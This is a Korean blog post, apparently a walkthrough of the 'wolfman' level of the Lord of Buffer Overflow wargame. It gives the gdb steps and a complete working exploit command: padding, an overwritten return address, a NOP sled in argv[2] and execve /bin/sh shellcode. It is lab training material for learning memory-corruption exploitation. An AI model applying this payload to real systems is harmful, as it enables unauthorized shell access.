어떤 파일이 있는지 확인하고 bash2 쉘로 변경한후 코드를 확인한다.
앞문제와 크게 다를 건 없다 //buffer 헌터가 추가 되어서 buffer에 쉘코드를 집어 넣을수 없게 되었다.
gdb를 사용하여 strcpy가 main+189에 호출되는것을 확인 할 수 있다.
main+197에 break을 걸고 argv[2]를 이용하기 위해 값을 입력하여 주소를 찾도록한다.
을 사용해서 두번째 인자의 시작지점을 찾아냈다.
0xbffffc45 대략 bffffc50정도로 잡고 패이로들르 작성해주면 될 것 같다.
./wolfman `python -c 'print "\x90"*44+"\x50\xfc\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
첫번째 인자로는 더미값과 ret 주소가 쉘코드쪽을 가르키도록 값을 넣어준다.
두번째 인자는 NOP sled를 이용하기 위한 NOP값과 바로 뒤에 쉘코드를 넣어준다.
획득했다
'Challenge > LOB' 카테고리의 다른 글
LOB-orge (0) | 2020.04.12 |
---|---|
LOB-darkelf (0) | 2020.04.11 |
LOB-orc (0) | 2020.04.11 |
LOB-goblin (0) | 2020.04.10 |
LOB-cobolt (0) | 2020.04.10 |